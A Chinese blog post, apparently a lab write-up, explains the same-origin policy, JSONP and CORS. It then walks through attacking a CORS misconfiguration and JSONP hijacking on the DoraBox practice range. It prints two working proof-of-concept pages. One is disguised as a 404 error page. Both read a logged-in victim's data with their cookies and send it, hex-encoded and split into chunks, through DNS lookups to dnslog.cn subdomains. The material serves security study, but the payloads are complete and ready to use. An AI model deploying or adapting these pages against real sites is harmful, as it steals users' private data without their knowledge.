CORS配置漏洞/jsonp劫持

来由

子资源

子资源是一个嵌入到HTML文档中的元素

子资源可以在网页加载后由浏览器再次请求获取相应资源,因为它们都可以发起网络请求。

如<link>、<form>、<iframe>、<audio>、<img>、<video>、<script>、<frame>

域(origins)和跨域

既然要访问获取资源、就要牵扯到这样一个概念:

是由三部分组成的标识:协议、完整的主机名和端口

例如 [ http:// ] [www.jyh520.com] : [8080]

三者中有一个不同则不在同一个域

跨域请求是指例如:我们访问

1、Example Domain 时,同时访问另一个域的子资源

2、http://example.com/posts/animal.png

在浏览器中是不允许的(同源策略)

为什么?

防止一些恶意网页利用这种不加限制的行为做非法请求

同源策略

阻止访问不同域的资源来防止跨域攻击

该策略仍然运行某些标签(比如<img>)嵌入不同源的资源。

即使没有同源策略明确的规范,现代浏览器都会以某种形式实现。互联网工程任务组(IETF)在RFC6454中制定了同源策略的相关规范。

TagsCross-originNote
<iframe>允许嵌入取决于响应头X-Frame-Options
<link>允许嵌入可能需要正确的Content-Type
<form>允许写入经常用此标签进行跨域写操作
<img>允许嵌入通过JS跨域读取并将其加载到<canvas>标签中
<audio>/<video>允许嵌入
<script>允许嵌入可能会被禁止访问特定的API(如下)

不允许被跨域访问的资源:

  • 本地存储

  • IndexedDB

  • Cookie

  • AJAX(XMLHttpRequest)

虽然同源策略解决了很多问题,但限制性很强。

在单页应用程序和流媒体网站时代,同源并没有放松和微调这些规则

比如说我的网站需要一个显示天气的功能,不得不用到其他人给我所提供的接口,亦或者是前后端分离涉及到的跨域。

那么问题来了:如何既解决了跨域问题又保证安全性呢??

解决方案
jsonp

JSONP(JSON with Padding)是一种用于跨域请求的技术,主要用于解决浏览器的同源策略限制。然而,这种技术也可能引发安全问题,比如JSONP劫持(JSONP Hijacking)。

  • 跨域请求问题:同源策略限制了浏览器中JavaScript代码只能访问与其源相同的资源。JSONP通过动态创建<script>标签来绕过这个限制,因为脚本标签不受同源策略的限制。
  • 工作原理:JSONP请求通过在请求URL中指定一个回调函数的名字,服务器会将数据包裹在这个回调函数中返回,客户端收到数据后会执行这个函数并处理数据。

jsonp劫持完整过程复核

jsonp劫持的过程其实和cors大同小异。

  1. 恶意网站准备

    • 定义并准备好回调函数,里面实现了你所需的恶意功能。
  2. 构建并部署PoC

    • 部署一个恶意网页,诱导目标用户点击。页面代码应动态生成一个<script>标签,发送JSONP请求到目标网站。
  3. 用户点击并执行

    • 当目标用户点击恶意网页时,JSONP请求被发出,目标网站返回的数据被恶意页面的回调函数处理,并通过DNS查询回显到Dnslog。
  4. 查看回显数据

    • 访问Dnslog管理界面,查看发送到Dnslog的分片数据,并将其重新拼接和解码,查看最终获取的敏感信息。

如果这些步骤你都确认无误,那么你的PoC应该能够成功利用JSONP劫持漏洞并将数据回显到Dnslog。

本人所用代码:

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>JSONP Hijacking PoC with DNS Exfiltration</title>
</head>

<body>
  <h1>JSONP Hijacking PoC with DNS Exfiltration</h1>

  <script type="text/javascript">
    // 窃取的数据通过DNS通道回显
    function stealData(data) {
      // 将数据发送到DNSlog服务
      sendToDnslog(JSON.stringify(data));
    }

    // 动态创建script标签,发起JSONP请求
    var script = document.createElement('script');
    script.src = 'http://192.168.60.125:8896/csrf/jsonp.php?callback=stealData';
    document.body.appendChild(script);

    // Hex编码和分片函数
    function hexEncode(str) {
      let hex, i;
      let result = "";
      for (i = 0; i < str.length; i++) {
        hex = str.charCodeAt(i).toString(16);
        result += ("00" + hex).slice(-2);  // 只保留最后两位,确保是8位Hex编码
      }
      return result;
    }

    function sendToDnslog(data) {
      // 将数据Hex编码
      let hexData = hexEncode(data);

      // 定义分片大小和域名
      const chunkSize = 40;  // 每片20个字符
      const dnslogDomain = 'v9z3pl.dnslog.cn';  // 替换为你的Dnslog域名

      // 将数据分片并发送到DNSlog
      for (let i = 0; i < hexData.length; i += chunkSize) {
        let chunk = hexData.slice(i, i + chunkSize);
        let index = Math.floor(i / chunkSize);
        // 构建DNS查询,每个查询包括索引和数据片段
        let dnsQuery = `${index}-${chunk}.${dnslogDomain}`;

        // 通过<img>标签发送请求
        let img = new Image();
        img.src = `http://${dnsQuery}`;
      }
    }
  </script>
</body>

</html>

反向代理

例如我可以在天气功能加入本地地址( /api/weather )

实际上我本地并没有这个地址,通过反向代理连接外部天气功能接口

但是客户端不知道,对于他来说是同一个域。

CORS

CORS(跨域资源共享),是一种基于HTTP头的机制

该机制允许我们使用AJAX发送跨域请求,只要HTTP响应头中包含了相应的CORS响应头。

CORS需要浏览器和服务器同时支持,CORS机制在老版本浏览器中不支持,现代浏览器都支持CORS。在使用CORS发送AJAX请求时浏览器端代码和过去一致,服务器端需要配置CORS的响应头。

postMessage

可以在 Web Worker / Service Worker 中实现与其他页面通信。

解决方案其中便有CORS配置不当漏洞、jsonp劫持漏洞

DoraBox靶场

访问

http://192.168.60.125:8896/csrf/userinfo.php

可以看到该目录文件是一个展示用户信息功能的脚本文件

使用BurpSuite抓包发现

请求方法为GET,我们改变请求包Origin头部字段时,哪怕是非法的,响应包也会给出允许的回复

所以存在CORS配置漏洞

接下来可以构建POC

<!DOCTYPE html>
<html>

<head>
  <title>Error</title>
</head>

<body>
  <h1>404</h1>
  <h2>Page Not Found</h2>
  <script>
                              //DNSlog域名
    const dnslogSubdomain = '8el0yc.dnslog.cn';

    var xhr = new XMLHttpRequest();
            //GET方法             漏洞利用点
    xhr.open('GET', 'http://192.168.60.125:8896/csrf/userinfo.php', true);
    xhr.withCredentials = true; // 包含凭证(如 cookies)
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log('Sensitive data:', xhr.responseText);
          sendToDnslog(xhr.responseText);
        } else {
          console.error('Error fetching data:', xhr.statusText);
        }
      }
    };
    xhr.send();

    function base64ToHex(str) {
      const base64 = btoa(str);
      let result = '';
      for (let i = 0; i < base64.length; i++) {
        result += base64.charCodeAt(i).toString(16).padStart(2, '0');
      }
      return result;
    }

    function sendToDnslog(data) {
      const encodedData = base64ToHex(data);
      const maxLen = 50; // 每段的最大长度
      const separator = 'sep'; // 分隔符
      let index = 0;
      for (let i = 0; i < encodedData.length; i += maxLen) {
        const subdomain = `idx${index}-${encodedData.substring(i, i + maxLen)}-${separator}`;
        const img = new Image();
        img.src = `http://${subdomain}.${dnslogSubdomain}`;
        index++;
      }
    }
  </script>
</body>

</html>

当用户点击改POC时我们可以通过DNSlog回显看到

其中由于返回信息可能有特殊字符不能出现在DNS解析中,我进行了base64编码

但是DNS解析有时存在大小写转换,我又进行了HEX编码

一条记录不能过长所以又分成了多片传输,为了方便还原我又加上了索引  idx 并以-sep标志结束

所以还原时按照索引拼接然后HEX解码然后base64解码即可

总结:通过抓包更改http头部字段判断存在漏洞

构建poc并通过Dnslog回显

  • 40
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值